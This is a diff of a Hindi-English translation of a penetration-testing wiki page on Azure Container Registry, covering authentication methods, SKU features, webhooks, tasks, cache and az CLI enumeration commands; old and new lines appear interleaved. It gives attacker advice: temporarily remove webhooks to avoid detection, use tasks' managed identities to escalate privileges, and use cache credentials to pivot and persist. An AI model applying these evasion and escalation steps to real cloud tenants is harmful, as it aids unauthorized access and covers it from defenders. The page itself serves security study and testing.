- **With an admin account**: admin user by default disabled होता है, लेकिन इसे enable किया जा सकता है, और फिर admin account के **username** और **password** से registry access करना possible होगा, full permissions के साथ। यह अभी भी supported है क्योंकि कुछ Azure services इसे use करती हैं। ध्यान दें कि इस user के लिए **2 passwords** create होते हैं और दोनों valid हैं। आप इसे `az acr update -n <acrName> --admin-enabled true` से enable कर सकते हैं। ध्यान दें कि username आमतौर पर registry name होता है (और `admin` नहीं)।
|
||||
- **With a token**: एक **token** create करना possible है with a **specific `scope map`** (permissions) registry access करने के लिए। फिर token के name को username के रूप में और generated passwords में से किसी एक को use करके `docker login -u <registry-name> -p <password> <registry-url>` से registry authenticate किया जा सकता है।
|
||||
- **With a Service Principal**: एक **service principal** create करना और images pull करने के लिए **`AcrPull`** जैसी role assign करना possible है। फिर SP appId को username और generated secret को password के रूप में use करके **registry में login** किया जा सकता है।
|
||||
- **Entra ID के साथ**: यह ACR में authenticate करने का **default** तरीका है। यह ACR में authenticate करने के लिए **`az acr login`** command का उपयोग करता है। यह command **credentials को** **`~/.docker/config.json`** file में **store** करेगी। इसके अलावा, यदि आप यह command ऐसे environment से चला रहे हैं जहाँ docker socket का access नहीं है, जैसे **cloud shell**, तो ACR में authenticate करने के लिए **token** प्राप्त करने हेतु **`--expose-token`** flag का उपयोग करना संभव है। फिर authenticate करने के लिए username के रूप में `00000000-0000-0000-0000-000000000000` का उपयोग करना होगा, जैसे: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **Admin account के साथ**: Admin user default रूप से disabled होता है, लेकिन इसे enable किया जा सकता है। इसके बाद registry पर full permissions वाले admin account के **username** और **password** से registry को access करना संभव होगा। यह अभी भी supported है क्योंकि कुछ Azure services इसका उपयोग करती हैं। ध्यान दें कि इस user के लिए **2 passwords** बनाए जाते हैं और दोनों valid होते हैं। इसे `az acr update -n <acrName> --admin-enabled true` से enable कर सकते हैं। ध्यान दें कि username आमतौर पर registry name होता है (`admin` नहीं)।
|
||||
- **Token के साथ**: Registry को access करने के लिए एक **specific `scope map`** (permissions) वाला **token** बनाना संभव है। इसके बाद, token के name को username के रूप में और generated passwords में से किसी एक को password के रूप में उपयोग करके `docker login -u <registry-name> -p <password> <registry-url>` से registry में authenticate करना संभव है।
|
||||
- **Service Principal के साथ**: एक **service principal** बनाना और images pull करने के लिए **`AcrPull`** जैसी role assign करना संभव है। इसके बाद, SP appId को username और generated secret को password के रूप में उपयोग करके **registry में login** करना संभव होगा।
|
||||
|
||||
Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry:
|
||||
Registry पर access वाले SP को generate करने के लिए [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) से example script:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
@@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Encryption
|
||||
|
||||
Only the **Premium SKU** supports **encryption at rest** for the images and other artifacts.
|
||||
केवल **Premium SKU** ही images और अन्य artifacts के लिए **encryption at rest** को support करता है।
|
||||
|
||||
### Networking
|
||||
|
||||
Only the **Premium SKU** supports **private endpoints**. The other ones only support **public access**. A public endpoint has the format `<registry-name>.azurecr.io` and a private endpoint has the format `<registry-name>.privatelink.azurecr.io`. For this reason, the name of the registry must be unique across all Azure.
|
||||
केवल **Premium SKU** ही **private endpoints** को support करता है। अन्य SKU केवल **public access** को support करते हैं। एक public endpoint का format `<registry-name>.azurecr.io` और एक private endpoint का format `<registry-name>.privatelink.azurecr.io` होता है। इसी कारण, registry का नाम पूरे Azure में unique होना चाहिए।
|
||||
|
||||
### Microsoft Defender for Cloud
|
||||
|
||||
This allows you to **scan the images** in the registry for **vulnerabilities**.
|
||||
यह registry में मौजूद **images को vulnerabilities के लिए scan** करने की सुविधा देता है।
|
||||
|
||||
### Soft-delete
|
||||
|
||||
The **soft-delete** feature allows you to **recover a deleted registry** within the indicated number of days. This feature is **disabled by default**.
|
||||
**soft-delete** feature आपको बताए गए दिनों की संख्या के भीतर **deleted registry को recover** करने की अनुमति देता है। यह feature default रूप से **disabled** होता है।
|
||||
|
||||
### Webhooks
|
||||
|
||||
It's possible to **create webhooks** inside registries. In this webhook it's needed to specify the URL where a **request will be sent whenever a push or delete action is performed**. Moreover, Webhooks can indicate a scope to indicate the repositories (images) that will be affected. For example, 'foo:\*' means events under repository 'foo'.
|
||||
Registries के अंदर **webhooks create** करना संभव है। इस webhook में वह URL specify करना आवश्यक है, जहां **हर बार push या delete action किए जाने पर request भेजी जाएगी**। इसके अलावा, Webhooks एक scope specify कर सकते हैं, जिससे प्रभावित होने वाली repositories (images) निर्धारित होती हैं। उदाहरण के लिए, `'foo:\*'` का अर्थ repository `'foo'` के अंतर्गत होने वाले events हैं।
|
||||
|
||||
From an attackers perspective it's interesting to check this **before performing any action** in the registry, and remove it terporarely if needed, to avoid being detected.
|
||||
एक attacker के दृष्टिकोण से, registry में **कोई भी action करने से पहले** इसकी जांच करना और detection से बचने के लिए, आवश्यकता होने पर इसे अस्थायी रूप से remove करना उपयोगी है।
|
||||
|
||||
### Connected registries
|
||||
|
||||
This basically allows to **mirror the images** from one registry to another one, usually located on-premises.
|
||||
यह मूल रूप से एक registry से दूसरी registry में **images को mirror** करने की अनुमति देता है, जो आमतौर पर on-premises पर स्थित होती है।
|
||||
|
||||
It has 2 modes: **ReadOnly** and **ReadWrite**. In the first one, the images are only **pulled** from the source registry, and in the second one, images can also be **pushed** to the source registry.
|
||||
इसके 2 modes हैं: **ReadOnly** और **ReadWrite**। पहले mode में images केवल source registry से **pulled** की जाती हैं, जबकि दूसरे mode में images को source registry पर **pushed** भी किया जा सकता है।
|
||||
|
||||
In order for clients to access the registry from Azure, a **token** is generated when the conected registry is used.
|
||||
Clients को Azure से registry access करने के लिए, connected registry के उपयोग के समय एक **token** generate किया जाता है।
|
||||
|
||||
### Runs & Tasks
|
||||
|
||||
Runs & Tasks allows to execute in Azure container related actions that you typically needed to do locally or in a CI/CD pipeline. For example, you can **build, push, and run images in the registry**.
|
||||
Runs & Tasks आपको Azure में container से संबंधित actions execute करने की अनुमति देता है, जिन्हें आमतौर पर locally या CI/CD pipeline में करना पड़ता है। उदाहरण के लिए, आप **registry में images को build, push और run कर सकते हैं**।
|
||||
|
||||
The easiest way to build and run a container is using a regular Run:
|
||||
Container को build और run करने का सबसे आसान तरीका regular Run का उपयोग करना है:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
हालाँकि, इससे ऐसे runs trigger होंगे जो attacker के perspective से बहुत interesting नहीं हैं क्योंकि उनसे कोई managed identity attached नहीं होती।
|
||||
हालाँकि, इससे ऐसे runs trigger होंगे जो attackers के perspective से ज़्यादा interesting नहीं हैं, क्योंकि उनसे कोई managed identity attached नहीं होती।
|
||||
|
||||
हालाँकि, **tasks** के साथ एक **system and user managed identity** attach की जा सकती है। ये tasks ही हैं जो container में **escalate privileges** करने के लिए useful हैं। privileges escalation section में यह देखना संभव है कि privileges escalate करने के लिए tasks का उपयोग कैसे करें।
|
||||
हालाँकि, **tasks** के साथ **system और user managed identity** attached हो सकती है। ये tasks ही container में **privileges escalate** करने के लिए उपयोगी होते हैं। privileges escalation section में tasks का उपयोग करके privileges escalate करने का तरीका देखा जा सकता है।
|
||||
|
||||
### Cache
|
||||
|
||||
cache feature **external repository** से images **download** करने और नए versions को registry में store करने की अनुमति देता है। इसके लिए Azure Vault से credentials select करके कुछ **credentials configured** होना ज़रूरी है।
|
||||
Cache feature **external repository से images download** करने और registry में उनके नए versions store करने की अनुमति देता है। इसके लिए कुछ **credentials configured** होना आवश्यक है, जिन्हें Azure Vault से select किया जाता है।
|
||||
|
||||
यह attacker के perspective से बहुत interesting है क्योंकि यह attacker को पर्याप्त permissions होने पर credentials access करने, **external repository** से images **download** करने और cache configure करने की स्थिति में **external platform** की ओर **pivot** करने की अनुमति देता है; साथ ही इसे **persistence mechanism** के रूप में भी उपयोग किया जा सकता है।
|
||||
यह attacker के perspective से बहुत interesting है, क्योंकि यदि attacker के पास credentials access करने के लिए पर्याप्त permissions हों, तो इससे **external platform पर pivot** किया जा सकता है। **external repository से images download** करना और cache configure करना **persistence mechanism** के रूप में भी उपयोग किया जा सकता है।
|
||||
|
||||
## Enumeration
|
||||
|
||||
> [!WARNING]
|
||||
> यह बहुत महत्वपूर्ण है कि भले ही registry name में कुछ uppercase letters हों, उसे access करने के लिए url में केवल lowercase letters ही use करें।
|
||||
> यह बहुत महत्वपूर्ण है कि registry name में कुछ uppercase letters होने के बावजूद, उसे access करने के लिए url में केवल lowercase letters का उपयोग करें।
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
@@ -143,7 +143,7 @@ az acr cache list --registry <registry-name>
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## अनधिकृत Access
|
||||
## Unauthenticated Access
|
||||
|
||||
{{#ref}}
|
||||
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
|
||||
@@ -155,7 +155,11 @@ az acr cache show --name <cache-name> --registry <registry-name>
|
||||
../az-privilege-escalation/az-container-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-container-registry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
Reference in New Issue
Block a user